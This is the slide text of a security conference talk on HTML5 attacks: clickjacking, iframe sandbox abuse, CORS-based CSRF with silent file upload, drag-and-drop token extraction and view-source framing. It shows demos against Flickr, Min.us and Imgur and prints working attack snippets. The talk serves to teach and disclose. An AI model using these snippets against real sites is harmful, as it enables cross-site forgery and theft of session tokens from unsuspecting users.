SlideShare une entreprise Scribd logo
1  sur  49
Télécharger pour lire hors ligne
HTML5:
Something wicked this way comes

Krzysztof Kotowicz
Securing




                     1
About me
• security researcher
  • HTML 5
  • UI redressing / clickjacking
  • xss-track, squid-imposter, ...
• pentester
• IT security trainer
  • „Hacking HTML5”
                        2
Plan
• Same origin policy
• Exploiting users
• Attack gadgets
• Wrap-up


                   3
Same origin policy
• the single most important security
   concept for the web
• restricts communication between
   websites from different domains
• has many flavors
• without it hell breaks loose

                   4
Same origin policy
• can be relaxed though
  • crossdomain.xml
  • document.domain
  • HTML5 Cross Origin Resource Sharing
• or ignored...
  • by exploiting users
  • UI redressing (clickjacking)
                       5
Exploiting users
 Users
• Like games
  • 100 mln play social games //goo.gl/RRWlM
• Are not security-savvy


                     6
Exploiting users




                       //goo.gl/DgPpY
                   7
Combined attacks
• Gadgets
  • HTML5
  • UI redressing
• Join them
• New attacks


                    8
Gadgets



  9
Basic clickjacking




                 10
Basic clickjacking




                      20x20   <iframe>




                 11
Basic clickjacking



                                   <iframe>


                            -300

             -350        20x20




                    12
Basic clickjacking



                                      <iframe>
               Victim website


                      20x20   Like us, plz!




                 13
Basic clickjacking
  <iframe src=outer.html
width=20 height=20 scrolling=no
style="opacity:0;"></iframe>

<!-- outer.html -->
<iframe src="//victim" width=5000
height=5000 style="position:
absolute; top:-300px; left:
-350px;"></iframe>

                 14
Basic clickjacking
• Trick: Click here to see a video!
• User action: click
+ Any clickable action
+ Works in every browser
-   X-Frame-Option
-   JS framebusting
                      15
HTML5 IFRAME sandbox
• Used to embed untrusted content
   • prevents XSS
   • prevents defacement
• Facilitates clickjacking!
<iframe sandbox="allow-same-origin
allow-forms allow-scripts"
 src="//victim"></iframe>
                              //html5sec.org/#122

                     16
HTML5 IFRAME sandbox



+ Chrome / Safari / IE 10
+ Will disable most JS framebusters
-   X-Frame-Option



                     17
Cross Origin Resource Sharing
• HTML5-ish
• Cross domain AJAX
• With cookies
• Blind
  • Unless the receiving site agrees
• Not limited to <form> syntax
• Used to trigger CSRF
                      18
Cross Origin Resource Sharing


var xhr = new XMLHttpRequest();
    
xhr.open("POST", "http://victim", true);
xhr.setRequestHeader("Content-Type", "text/plain");
xhr.withCredentials = "true"; // send cookies
xhr.send("Anything I want");




                        19
Cross Origin Resource Sharing

POST / HTTP/1.1
Host: victim
Connection: keep-alive
Referer: http://dev.localhost/temp/cors.php
Content-Length: 15
Origin: http://dev.localhost
Content-Type: text/plain
...
Cookie: my-cookie=myvalue

Anything I want



                           20
Silent file upload
• File upload purely in Javascript
• Silent <input type=file> with any file
   name and content
• Uses CORS
• How? Create raw multipart/form-data

                     21
Silent file upload
function fileUpload(url, fileData, fileName) {
   var fileSize = fileData.length,
     boundary = "xxxxxxxxx",
     xhr = new XMLHttpRequest();
    
   xhr.open("POST", url, true);
   xhr.withCredentials = "true";
   xhr.setRequestHeader("Content-Type",
      "multipart/form-data, boundary="+boundary);
   xhr.setRequestHeader("Content-Length", fileSize);




                         22
Silent file upload

var body = "
--" + boundary + 'rn
Content-Disposition: form-data;
 name="contents"; filename="' + fileName + '"rn
Content-Type: application/octet-streamrn
rn
' + fileData + 'rn
--' + boundary + '--';

xhr.send(body);




                        23
Silent file upload
+ No user action
+ No frames
+ Cross-domain, with cookies
+ Works in most browsers
+ You can add more form fields
-   CSRF flaw needed
-   No access to response
                     24
Silent file upload



                DEMO
              Flickr.com




                     25
Flickr.com attack toolbox
• Remember me
  • Flickr creates logged session on first
     request

• CSRF file upload
  • http://up.flickr.com/photos/upload/transfer/
  • accepts file uploads
  • token check skipped

                       26
Drag into
• Put attackers content into victim form




                   27
Drag into



                DEMO
            Alphabet Hero




                 28
Drag into
• Trick: Put paper in the can!
• User action: drag & drop, click
+   Inject arbitrary content
+   Trigger self-XSS
-   Firefox only
-   X-Frame-Option
-   JS framebusting

                        29
Drag into
 Self-XSS in real life:
• wordpress 0-day (Jelmer de Hen)
   //goo.gl/dNYi5
• chronme.com (sneaked.net)
   //goo.gl/hs7Bw
• Google Code vulns (Amol Naik)
   //goo.gl/NxKFY

                    30
Drag out content extraction


    image


                      image




                 31
Drag out content extraction


    image
        victim
      <iframe>
                      image




                 32
Drag out content extraction


    image
        victim
      <iframe>
                      textarea
                        <textarea>




                 33
Drag out content extraction
<div id=game style="position:relative">
    <img style="position:absolute;..."
          src="paper.png" />
    <img style="position:absolute;..."
          src="trash.png" />    
    <iframe scrolling=no id=iframe
     style="position:absolute;opacity:0;...">
     </iframe>
   <textarea style="position:absolute;
       opacity:0;..." id=dropper></textarea>
</div>

                      34
Drag out content extraction




                 35
Drag out content extraction




                 36
Drag out content extraction

$("#iframe").attr('src', 'outer.html’);
$('#dropper').bind('drop', function() {
    setTimeout(function() {
        var urlmatch = $("#dropper").val()
                        .match(/token=([a-h0-9]+)$/);
        if (urlmatch) {
            var token = urlmatch[1];
            // do EVIL
        }
    }, 100);
});




                            37
Drag out content extraction
• Trick: Put paper in the can!
• User action: drag & drop
+ Access sensitive content cross domain
-   Firefox only
-   X-Frame-Option
-   JS framebusting

                      38
Drag out content extraction



              DEMO
              Min.us




                 39
Min.us attack toolbox
• CORS to create gallery
• social engineering
  • extract gallery editor-id from <a href>
• silent file upload to gallery
• CORS change gallery to public
• HTML5 + UI redressing combined!
                       40
View-source
• Display HTML source in frame
  • session IDs
  • tokens
  • private data
<iframe
 src="view-source:view-source:http://victim"
 width=5000 height=5000
 style="position: absolute;
        top: -300px; left: -150px;">
</iframe>

                      41
View-source




              42
View-source




              43
View-source
• Trick: Your serial number is...
• User action: select + drag & drop, copy-paste
+   Beats JS framebusting
+   Already earned $500 from Facebook
-   X-Frame-Options
-   Firefox only
-   Complicated user action


                       44
View-source



                DEMO
              Imgur.com




                 45
Imgur.com attack toolbox
• framed view-source:
  • captcha-like string (AdSense ID)
  • session ID
• social engineering:
  • trick to copy/paste page source
• Exploitation:
  • http://api.imgur.com
  • cookie auth, no IP limits for session
                       46
Summary
• UI redressing attacks are improving
• HTML5 helps exploiting
   vulnerabilities
• Users can be a weak link too!
   Devs:
   Use X-Frame-Options: DENY

                     47
Links
• html5sec.org
• code.google.com/p/html5security
• www.contextis.co.uk/research/white-papers/
    clickjacking
• blog.kotowicz.net
• github.com/koto
  Twitter: @kkotowicz
  kkotowicz@securing.pl

                        48
?
49

Contenu connexe

Tendances

How to make Ajax Libraries work for you
How to make Ajax Libraries work for youHow to make Ajax Libraries work for you
How to make Ajax Libraries work for youSimon Willison
 
Netvibes UWA workshop at ParisWeb 2007
Netvibes UWA workshop at ParisWeb 2007Netvibes UWA workshop at ParisWeb 2007
Netvibes UWA workshop at ParisWeb 2007Netvibes
 
HTML5 (and friends) - History, overview and current status - jsDay Verona 11....
HTML5 (and friends) - History, overview and current status - jsDay Verona 11....HTML5 (and friends) - History, overview and current status - jsDay Verona 11....
HTML5 (and friends) - History, overview and current status - jsDay Verona 11....Patrick Lauke
 
[Poland] It's only about frontend
[Poland] It's only about frontend[Poland] It's only about frontend
[Poland] It's only about frontendOWASP EEE
 
WAPWG Clark defining capturing_web-based_if
WAPWG Clark defining capturing_web-based_ifWAPWG Clark defining capturing_web-based_if
WAPWG Clark defining capturing_web-based_ifSara Day Thomson
 
14. html 5 security considerations
14. html 5 security considerations14. html 5 security considerations
14. html 5 security considerationsEoin Keary
 
XXE Exposed: SQLi, XSS, XXE and XEE against Web Services
XXE Exposed: SQLi, XSS, XXE and XEE against Web ServicesXXE Exposed: SQLi, XSS, XXE and XEE against Web Services
XXE Exposed: SQLi, XSS, XXE and XEE against Web ServicesAbraham Aranguren
 

Tendances (8)

How to make Ajax Libraries work for you
How to make Ajax Libraries work for youHow to make Ajax Libraries work for you
How to make Ajax Libraries work for you
 
Netvibes UWA workshop at ParisWeb 2007
Netvibes UWA workshop at ParisWeb 2007Netvibes UWA workshop at ParisWeb 2007
Netvibes UWA workshop at ParisWeb 2007
 
HTML5 (and friends) - History, overview and current status - jsDay Verona 11....
HTML5 (and friends) - History, overview and current status - jsDay Verona 11....HTML5 (and friends) - History, overview and current status - jsDay Verona 11....
HTML5 (and friends) - History, overview and current status - jsDay Verona 11....
 
[Poland] It's only about frontend
[Poland] It's only about frontend[Poland] It's only about frontend
[Poland] It's only about frontend
 
WAPWG Clark defining capturing_web-based_if
WAPWG Clark defining capturing_web-based_ifWAPWG Clark defining capturing_web-based_if
WAPWG Clark defining capturing_web-based_if
 
14. html 5 security considerations
14. html 5 security considerations14. html 5 security considerations
14. html 5 security considerations
 
XXE Exposed: SQLi, XSS, XXE and XEE against Web Services
XXE Exposed: SQLi, XSS, XXE and XEE against Web ServicesXXE Exposed: SQLi, XSS, XXE and XEE against Web Services
XXE Exposed: SQLi, XSS, XXE and XEE against Web Services
 
The Devil and HTML5
The Devil and HTML5The Devil and HTML5
The Devil and HTML5
 

En vedette

New Insights into Clickjacking
New Insights into ClickjackingNew Insights into Clickjacking
New Insights into ClickjackingMarco Balduzzi
 
Why HTML Form dose not support PUT & DELETE ?
Why HTML Form dose not support PUT & DELETE ?Why HTML Form dose not support PUT & DELETE ?
Why HTML Form dose not support PUT & DELETE ?Jxck Jxck
 
Marcus Niemietz - UI Redressing and Clickjacking About click fraud and data t...
Marcus Niemietz - UI Redressing and Clickjacking About click fraud and data t...Marcus Niemietz - UI Redressing and Clickjacking About click fraud and data t...
Marcus Niemietz - UI Redressing and Clickjacking About click fraud and data t...DefconRussia
 
CSRF: ways to exploit, ways to prevent
CSRF: ways to exploit, ways to preventCSRF: ways to exploit, ways to prevent
CSRF: ways to exploit, ways to preventPaulius Leščinskas
 
CSRF, ClickJacking & Open Redirect
CSRF, ClickJacking & Open RedirectCSRF, ClickJacking & Open Redirect
CSRF, ClickJacking & Open RedirectBlueinfy Solutions
 

En vedette (9)

CSRF + clickjacking
CSRF + clickjackingCSRF + clickjacking
CSRF + clickjacking
 
New Insights into Clickjacking
New Insights into ClickjackingNew Insights into Clickjacking
New Insights into Clickjacking
 
Why HTML Form dose not support PUT & DELETE ?
Why HTML Form dose not support PUT & DELETE ?Why HTML Form dose not support PUT & DELETE ?
Why HTML Form dose not support PUT & DELETE ?
 
Marcus Niemietz - UI Redressing and Clickjacking About click fraud and data t...
Marcus Niemietz - UI Redressing and Clickjacking About click fraud and data t...Marcus Niemietz - UI Redressing and Clickjacking About click fraud and data t...
Marcus Niemietz - UI Redressing and Clickjacking About click fraud and data t...
 
CSRF: ways to exploit, ways to prevent
CSRF: ways to exploit, ways to preventCSRF: ways to exploit, ways to prevent
CSRF: ways to exploit, ways to prevent
 
Clickjacking Attack
Clickjacking AttackClickjacking Attack
Clickjacking Attack
 
CSRF, ClickJacking & Open Redirect
CSRF, ClickJacking & Open RedirectCSRF, ClickJacking & Open Redirect
CSRF, ClickJacking & Open Redirect
 
Click jacking
Click jacking Click jacking
Click jacking
 
Bug Bounty for - Beginners
Bug Bounty for - BeginnersBug Bounty for - Beginners
Bug Bounty for - Beginners
 

Similaire à Html5: something wicked this way comes

Krzysztof kotowicz. something wicked this way comes
Krzysztof kotowicz. something wicked this way comesKrzysztof kotowicz. something wicked this way comes
Krzysztof kotowicz. something wicked this way comesYury Chemerkin
 
Html5 security
Html5 securityHtml5 security
Html5 securityKrishna T
 
External JavaScript Widget Development Best Practices (updated) (v.1.1)
External JavaScript Widget Development Best Practices (updated) (v.1.1) External JavaScript Widget Development Best Practices (updated) (v.1.1)
External JavaScript Widget Development Best Practices (updated) (v.1.1) Volkan Özçelik
 
Mobile Web Development with HTML5
Mobile Web Development with HTML5Mobile Web Development with HTML5
Mobile Web Development with HTML5Roy Clarkson
 
External JavaScript Widget Development Best Practices
External JavaScript Widget Development Best PracticesExternal JavaScript Widget Development Best Practices
External JavaScript Widget Development Best PracticesVolkan Özçelik
 
Protecting Java EE Web Apps with Secure HTTP Headers
Protecting Java EE Web Apps with Secure HTTP HeadersProtecting Java EE Web Apps with Secure HTTP Headers
Protecting Java EE Web Apps with Secure HTTP HeadersFrank Kim
 
Java scriptwidgetdevelopmentjstanbul2012
Java scriptwidgetdevelopmentjstanbul2012Java scriptwidgetdevelopmentjstanbul2012
Java scriptwidgetdevelopmentjstanbul2012Volkan Özçelik
 
HTML for the Mobile Web, Firefox OS
HTML for the Mobile Web, Firefox OSHTML for the Mobile Web, Firefox OS
HTML for the Mobile Web, Firefox OSAll Things Open
 
Devouring Security Insufficient data validation risks Cross Site Scripting
Devouring Security Insufficient data validation risks Cross Site ScriptingDevouring Security Insufficient data validation risks Cross Site Scripting
Devouring Security Insufficient data validation risks Cross Site Scriptinggmaran23
 
On the Edge Systems Administration with Golang
On the Edge Systems Administration with GolangOn the Edge Systems Administration with Golang
On the Edge Systems Administration with GolangChris McEniry
 
How dojo works
How dojo worksHow dojo works
How dojo worksAmit Tyagi
 
Browser Horror Stories
Browser Horror StoriesBrowser Horror Stories
Browser Horror StoriesEC-Council
 
Modern iframe programming
Modern iframe programmingModern iframe programming
Modern iframe programmingbenvinegar
 
[ENG] Hacker halted 2012 - Zombie browsers, spiced with rootkit extensions
[ENG] Hacker halted 2012 - Zombie browsers, spiced with rootkit extensions[ENG] Hacker halted 2012 - Zombie browsers, spiced with rootkit extensions
[ENG] Hacker halted 2012 - Zombie browsers, spiced with rootkit extensionsZoltan Balazs
 
Firefox OS - The platform you deserve - Athens App Days - 2013-11-27
Firefox OS - The platform you deserve - Athens App Days - 2013-11-27Firefox OS - The platform you deserve - Athens App Days - 2013-11-27
Firefox OS - The platform you deserve - Athens App Days - 2013-11-27Frédéric Harper
 
Securing your web application through HTTP headers
Securing your web application through HTTP headersSecuring your web application through HTTP headers
Securing your web application through HTTP headersAndre N. Klingsheim
 
Expert guide for PHP
Expert guide for PHPExpert guide for PHP
Expert guide for PHPSteve Fort
 

Similaire à Html5: something wicked this way comes (20)

Krzysztof kotowicz. something wicked this way comes
Krzysztof kotowicz. something wicked this way comesKrzysztof kotowicz. something wicked this way comes
Krzysztof kotowicz. something wicked this way comes
 
Html5 security
Html5 securityHtml5 security
Html5 security
 
External JavaScript Widget Development Best Practices (updated) (v.1.1)
External JavaScript Widget Development Best Practices (updated) (v.1.1) External JavaScript Widget Development Best Practices (updated) (v.1.1)
External JavaScript Widget Development Best Practices (updated) (v.1.1)
 
Clickjacking
ClickjackingClickjacking
Clickjacking
 
Mobile Web Development with HTML5
Mobile Web Development with HTML5Mobile Web Development with HTML5
Mobile Web Development with HTML5
 
External JavaScript Widget Development Best Practices
External JavaScript Widget Development Best PracticesExternal JavaScript Widget Development Best Practices
External JavaScript Widget Development Best Practices
 
Protecting Java EE Web Apps with Secure HTTP Headers
Protecting Java EE Web Apps with Secure HTTP HeadersProtecting Java EE Web Apps with Secure HTTP Headers
Protecting Java EE Web Apps with Secure HTTP Headers
 
Java scriptwidgetdevelopmentjstanbul2012
Java scriptwidgetdevelopmentjstanbul2012Java scriptwidgetdevelopmentjstanbul2012
Java scriptwidgetdevelopmentjstanbul2012
 
HTML for the Mobile Web, Firefox OS
HTML for the Mobile Web, Firefox OSHTML for the Mobile Web, Firefox OS
HTML for the Mobile Web, Firefox OS
 
Devouring Security Insufficient data validation risks Cross Site Scripting
Devouring Security Insufficient data validation risks Cross Site ScriptingDevouring Security Insufficient data validation risks Cross Site Scripting
Devouring Security Insufficient data validation risks Cross Site Scripting
 
On the Edge Systems Administration with Golang
On the Edge Systems Administration with GolangOn the Edge Systems Administration with Golang
On the Edge Systems Administration with Golang
 
How dojo works
How dojo worksHow dojo works
How dojo works
 
Browser Horror Stories
Browser Horror StoriesBrowser Horror Stories
Browser Horror Stories
 
Html5 hacking
Html5 hackingHtml5 hacking
Html5 hacking
 
Modern iframe programming
Modern iframe programmingModern iframe programming
Modern iframe programming
 
Cos 432 web_security
Cos 432 web_securityCos 432 web_security
Cos 432 web_security
 
[ENG] Hacker halted 2012 - Zombie browsers, spiced with rootkit extensions
[ENG] Hacker halted 2012 - Zombie browsers, spiced with rootkit extensions[ENG] Hacker halted 2012 - Zombie browsers, spiced with rootkit extensions
[ENG] Hacker halted 2012 - Zombie browsers, spiced with rootkit extensions
 
Firefox OS - The platform you deserve - Athens App Days - 2013-11-27
Firefox OS - The platform you deserve - Athens App Days - 2013-11-27Firefox OS - The platform you deserve - Athens App Days - 2013-11-27
Firefox OS - The platform you deserve - Athens App Days - 2013-11-27
 
Securing your web application through HTTP headers
Securing your web application through HTTP headersSecuring your web application through HTTP headers
Securing your web application through HTTP headers
 
Expert guide for PHP
Expert guide for PHPExpert guide for PHP
Expert guide for PHP
 

Plus de Krzysztof Kotowicz

Trusted Types - Securing the DOM from the bottom up (JSNation Amsterdam)
Trusted Types - Securing the DOM from the bottom up (JSNation Amsterdam)Trusted Types - Securing the DOM from the bottom up (JSNation Amsterdam)
Trusted Types - Securing the DOM from the bottom up (JSNation Amsterdam)Krzysztof Kotowicz
 
Trusted Types and the end of DOM XSS
Trusted Types and the end of DOM XSSTrusted Types and the end of DOM XSS
Trusted Types and the end of DOM XSSKrzysztof Kotowicz
 
Biting into the forbidden fruit. Lessons from trusting Javascript crypto.
Biting into the forbidden fruit. Lessons from trusting Javascript crypto.Biting into the forbidden fruit. Lessons from trusting Javascript crypto.
Biting into the forbidden fruit. Lessons from trusting Javascript crypto.Krzysztof Kotowicz
 
Hacking HTML5 offensive course (Zeronights edition)
Hacking HTML5 offensive course (Zeronights edition)Hacking HTML5 offensive course (Zeronights edition)
Hacking HTML5 offensive course (Zeronights edition)Krzysztof Kotowicz
 
I'm in ur browser, pwning your stuff - Attacking (with) Google Chrome Extensions
I'm in ur browser, pwning your stuff - Attacking (with) Google Chrome ExtensionsI'm in ur browser, pwning your stuff - Attacking (with) Google Chrome Extensions
I'm in ur browser, pwning your stuff - Attacking (with) Google Chrome ExtensionsKrzysztof Kotowicz
 
I'm in your browser, pwning your stuff
I'm in your browser, pwning your stuffI'm in your browser, pwning your stuff
I'm in your browser, pwning your stuffKrzysztof Kotowicz
 
Advanced Chrome extension exploitation
Advanced Chrome extension exploitationAdvanced Chrome extension exploitation
Advanced Chrome extension exploitationKrzysztof Kotowicz
 
Creating, obfuscating and analyzing malware JavaScript
Creating, obfuscating and analyzing malware JavaScriptCreating, obfuscating and analyzing malware JavaScript
Creating, obfuscating and analyzing malware JavaScriptKrzysztof Kotowicz
 
Tworzenie, zaciemnianie i analiza złośliwego kodu JavaScript
Tworzenie, zaciemnianie i analiza złośliwego kodu JavaScriptTworzenie, zaciemnianie i analiza złośliwego kodu JavaScript
Tworzenie, zaciemnianie i analiza złośliwego kodu JavaScriptKrzysztof Kotowicz
 
Jak ocalić swoje dane przed SQL injection?
Jak ocalić swoje dane przed SQL injection?Jak ocalić swoje dane przed SQL injection?
Jak ocalić swoje dane przed SQL injection?Krzysztof Kotowicz
 
SQL Injection: complete walkthrough (not only) for PHP developers
SQL Injection: complete walkthrough (not only) for PHP developersSQL Injection: complete walkthrough (not only) for PHP developers
SQL Injection: complete walkthrough (not only) for PHP developersKrzysztof Kotowicz
 
Kompletny przewodnik po SQL injection dla developerów PHP (i nie tylko)
Kompletny przewodnik po SQL injection dla developerów PHP (i nie tylko)Kompletny przewodnik po SQL injection dla developerów PHP (i nie tylko)
Kompletny przewodnik po SQL injection dla developerów PHP (i nie tylko)Krzysztof Kotowicz
 

Plus de Krzysztof Kotowicz (14)

Trusted Types - Securing the DOM from the bottom up (JSNation Amsterdam)
Trusted Types - Securing the DOM from the bottom up (JSNation Amsterdam)Trusted Types - Securing the DOM from the bottom up (JSNation Amsterdam)
Trusted Types - Securing the DOM from the bottom up (JSNation Amsterdam)
 
Trusted Types @ W3C TPAC 2018
Trusted Types @ W3C TPAC 2018Trusted Types @ W3C TPAC 2018
Trusted Types @ W3C TPAC 2018
 
Trusted Types and the end of DOM XSS
Trusted Types and the end of DOM XSSTrusted Types and the end of DOM XSS
Trusted Types and the end of DOM XSS
 
Biting into the forbidden fruit. Lessons from trusting Javascript crypto.
Biting into the forbidden fruit. Lessons from trusting Javascript crypto.Biting into the forbidden fruit. Lessons from trusting Javascript crypto.
Biting into the forbidden fruit. Lessons from trusting Javascript crypto.
 
Hacking HTML5 offensive course (Zeronights edition)
Hacking HTML5 offensive course (Zeronights edition)Hacking HTML5 offensive course (Zeronights edition)
Hacking HTML5 offensive course (Zeronights edition)
 
I'm in ur browser, pwning your stuff - Attacking (with) Google Chrome Extensions
I'm in ur browser, pwning your stuff - Attacking (with) Google Chrome ExtensionsI'm in ur browser, pwning your stuff - Attacking (with) Google Chrome Extensions
I'm in ur browser, pwning your stuff - Attacking (with) Google Chrome Extensions
 
HTML5: Atak i obrona
HTML5: Atak i obronaHTML5: Atak i obrona
HTML5: Atak i obrona
 
I'm in your browser, pwning your stuff
I'm in your browser, pwning your stuffI'm in your browser, pwning your stuff
I'm in your browser, pwning your stuff
 
Advanced Chrome extension exploitation
Advanced Chrome extension exploitationAdvanced Chrome extension exploitation
Advanced Chrome extension exploitation
 
Creating, obfuscating and analyzing malware JavaScript
Creating, obfuscating and analyzing malware JavaScriptCreating, obfuscating and analyzing malware JavaScript
Creating, obfuscating and analyzing malware JavaScript
 
Tworzenie, zaciemnianie i analiza złośliwego kodu JavaScript
Tworzenie, zaciemnianie i analiza złośliwego kodu JavaScriptTworzenie, zaciemnianie i analiza złośliwego kodu JavaScript
Tworzenie, zaciemnianie i analiza złośliwego kodu JavaScript
 
Jak ocalić swoje dane przed SQL injection?
Jak ocalić swoje dane przed SQL injection?Jak ocalić swoje dane przed SQL injection?
Jak ocalić swoje dane przed SQL injection?
 
SQL Injection: complete walkthrough (not only) for PHP developers
SQL Injection: complete walkthrough (not only) for PHP developersSQL Injection: complete walkthrough (not only) for PHP developers
SQL Injection: complete walkthrough (not only) for PHP developers
 
Kompletny przewodnik po SQL injection dla developerów PHP (i nie tylko)
Kompletny przewodnik po SQL injection dla developerów PHP (i nie tylko)Kompletny przewodnik po SQL injection dla developerów PHP (i nie tylko)
Kompletny przewodnik po SQL injection dla developerów PHP (i nie tylko)
 

Dernier

Data Cloud, More than a CDP by Matt Robison
Data Cloud, More than a CDP by Matt RobisonData Cloud, More than a CDP by Matt Robison
Data Cloud, More than a CDP by Matt RobisonAnna Loughnan Colquhoun
 
Exploring the Future Potential of AI-Enabled Smartphone Processors
Exploring the Future Potential of AI-Enabled Smartphone ProcessorsExploring the Future Potential of AI-Enabled Smartphone Processors
Exploring the Future Potential of AI-Enabled Smartphone Processorsdebabhi2
 
Factors to Consider When Choosing Accounts Payable Services Providers.pptx
Factors to Consider When Choosing Accounts Payable Services Providers.pptxFactors to Consider When Choosing Accounts Payable Services Providers.pptx
Factors to Consider When Choosing Accounts Payable Services Providers.pptxKatpro Technologies
 
Mastering MySQL Database Architecture: Deep Dive into MySQL Shell and MySQL R...
Mastering MySQL Database Architecture: Deep Dive into MySQL Shell and MySQL R...Mastering MySQL Database Architecture: Deep Dive into MySQL Shell and MySQL R...
Mastering MySQL Database Architecture: Deep Dive into MySQL Shell and MySQL R...Miguel Araújo
 
IAC 2024 - IA Fast Track to Search Focused AI Solutions
IAC 2024 - IA Fast Track to Search Focused AI SolutionsIAC 2024 - IA Fast Track to Search Focused AI Solutions
IAC 2024 - IA Fast Track to Search Focused AI SolutionsEnterprise Knowledge
 
GenCyber Cyber Security Day Presentation
GenCyber Cyber Security Day PresentationGenCyber Cyber Security Day Presentation
GenCyber Cyber Security Day PresentationMichael W. Hawkins
 
The Role of Taxonomy and Ontology in Semantic Layers - Heather Hedden.pdf
The Role of Taxonomy and Ontology in Semantic Layers - Heather Hedden.pdfThe Role of Taxonomy and Ontology in Semantic Layers - Heather Hedden.pdf
The Role of Taxonomy and Ontology in Semantic Layers - Heather Hedden.pdfEnterprise Knowledge
 
Boost PC performance: How more available memory can improve productivity
Boost PC performance: How more available memory can improve productivityBoost PC performance: How more available memory can improve productivity
Boost PC performance: How more available memory can improve productivityPrincipled Technologies
 
Scaling API-first – The story of a global engineering organization
Scaling API-first – The story of a global engineering organizationScaling API-first – The story of a global engineering organization
Scaling API-first – The story of a global engineering organizationRadu Cotescu
 
Real Time Object Detection Using Open CV
Real Time Object Detection Using Open CVReal Time Object Detection Using Open CV
Real Time Object Detection Using Open CVKhem
 
A Year of the Servo Reboot: Where Are We Now?
A Year of the Servo Reboot: Where Are We Now?A Year of the Servo Reboot: Where Are We Now?
A Year of the Servo Reboot: Where Are We Now?Igalia
 
Automating Google Workspace (GWS) & more with Apps Script
Automating Google Workspace (GWS) & more with Apps ScriptAutomating Google Workspace (GWS) & more with Apps Script
Automating Google Workspace (GWS) & more with Apps Scriptwesley chun
 
Apidays Singapore 2024 - Building Digital Trust in a Digital Economy by Veron...
Apidays Singapore 2024 - Building Digital Trust in a Digital Economy by Veron...Apidays Singapore 2024 - Building Digital Trust in a Digital Economy by Veron...
Apidays Singapore 2024 - Building Digital Trust in a Digital Economy by Veron...apidays
 
Handwritten Text Recognition for manuscripts and early printed texts
Handwritten Text Recognition for manuscripts and early printed textsHandwritten Text Recognition for manuscripts and early printed texts
Handwritten Text Recognition for manuscripts and early printed textsMaria Levchenko
 
2024: Domino Containers - The Next Step. News from the Domino Container commu...
2024: Domino Containers - The Next Step. News from the Domino Container commu...2024: Domino Containers - The Next Step. News from the Domino Container commu...
2024: Domino Containers - The Next Step. News from the Domino Container commu...Martijn de Jong
 
Presentation on how to chat with PDF using ChatGPT code interpreter
Presentation on how to chat with PDF using ChatGPT code interpreterPresentation on how to chat with PDF using ChatGPT code interpreter
Presentation on how to chat with PDF using ChatGPT code interpreternaman860154
 
04-2024-HHUG-Sales-and-Marketing-Alignment.pptx
04-2024-HHUG-Sales-and-Marketing-Alignment.pptx04-2024-HHUG-Sales-and-Marketing-Alignment.pptx
04-2024-HHUG-Sales-and-Marketing-Alignment.pptxHampshireHUG
 
The 7 Things I Know About Cyber Security After 25 Years | April 2024
The 7 Things I Know About Cyber Security After 25 Years | April 2024The 7 Things I Know About Cyber Security After 25 Years | April 2024
The 7 Things I Know About Cyber Security After 25 Years | April 2024Rafal Los
 
08448380779 Call Girls In Civil Lines Women Seeking Men
08448380779 Call Girls In Civil Lines Women Seeking Men08448380779 Call Girls In Civil Lines Women Seeking Men
08448380779 Call Girls In Civil Lines Women Seeking MenDelhi Call girls
 
08448380779 Call Girls In Greater Kailash - I Women Seeking Men
08448380779 Call Girls In Greater Kailash - I Women Seeking Men08448380779 Call Girls In Greater Kailash - I Women Seeking Men
08448380779 Call Girls In Greater Kailash - I Women Seeking MenDelhi Call girls
 

Dernier (20)

Data Cloud, More than a CDP by Matt Robison
Data Cloud, More than a CDP by Matt RobisonData Cloud, More than a CDP by Matt Robison
Data Cloud, More than a CDP by Matt Robison
 
Exploring the Future Potential of AI-Enabled Smartphone Processors
Exploring the Future Potential of AI-Enabled Smartphone ProcessorsExploring the Future Potential of AI-Enabled Smartphone Processors
Exploring the Future Potential of AI-Enabled Smartphone Processors
 
Factors to Consider When Choosing Accounts Payable Services Providers.pptx
Factors to Consider When Choosing Accounts Payable Services Providers.pptxFactors to Consider When Choosing Accounts Payable Services Providers.pptx
Factors to Consider When Choosing Accounts Payable Services Providers.pptx
 
Mastering MySQL Database Architecture: Deep Dive into MySQL Shell and MySQL R...
Mastering MySQL Database Architecture: Deep Dive into MySQL Shell and MySQL R...Mastering MySQL Database Architecture: Deep Dive into MySQL Shell and MySQL R...
Mastering MySQL Database Architecture: Deep Dive into MySQL Shell and MySQL R...
 
IAC 2024 - IA Fast Track to Search Focused AI Solutions
IAC 2024 - IA Fast Track to Search Focused AI SolutionsIAC 2024 - IA Fast Track to Search Focused AI Solutions
IAC 2024 - IA Fast Track to Search Focused AI Solutions
 
GenCyber Cyber Security Day Presentation
GenCyber Cyber Security Day PresentationGenCyber Cyber Security Day Presentation
GenCyber Cyber Security Day Presentation
 
The Role of Taxonomy and Ontology in Semantic Layers - Heather Hedden.pdf
The Role of Taxonomy and Ontology in Semantic Layers - Heather Hedden.pdfThe Role of Taxonomy and Ontology in Semantic Layers - Heather Hedden.pdf
The Role of Taxonomy and Ontology in Semantic Layers - Heather Hedden.pdf
 
Boost PC performance: How more available memory can improve productivity
Boost PC performance: How more available memory can improve productivityBoost PC performance: How more available memory can improve productivity
Boost PC performance: How more available memory can improve productivity
 
Scaling API-first – The story of a global engineering organization
Scaling API-first – The story of a global engineering organizationScaling API-first – The story of a global engineering organization
Scaling API-first – The story of a global engineering organization
 
Real Time Object Detection Using Open CV
Real Time Object Detection Using Open CVReal Time Object Detection Using Open CV
Real Time Object Detection Using Open CV
 
A Year of the Servo Reboot: Where Are We Now?
A Year of the Servo Reboot: Where Are We Now?A Year of the Servo Reboot: Where Are We Now?
A Year of the Servo Reboot: Where Are We Now?
 
Automating Google Workspace (GWS) & more with Apps Script
Automating Google Workspace (GWS) & more with Apps ScriptAutomating Google Workspace (GWS) & more with Apps Script
Automating Google Workspace (GWS) & more with Apps Script
 
Apidays Singapore 2024 - Building Digital Trust in a Digital Economy by Veron...
Apidays Singapore 2024 - Building Digital Trust in a Digital Economy by Veron...Apidays Singapore 2024 - Building Digital Trust in a Digital Economy by Veron...
Apidays Singapore 2024 - Building Digital Trust in a Digital Economy by Veron...
 
Handwritten Text Recognition for manuscripts and early printed texts
Handwritten Text Recognition for manuscripts and early printed textsHandwritten Text Recognition for manuscripts and early printed texts
Handwritten Text Recognition for manuscripts and early printed texts
 
2024: Domino Containers - The Next Step. News from the Domino Container commu...
2024: Domino Containers - The Next Step. News from the Domino Container commu...2024: Domino Containers - The Next Step. News from the Domino Container commu...
2024: Domino Containers - The Next Step. News from the Domino Container commu...
 
Presentation on how to chat with PDF using ChatGPT code interpreter
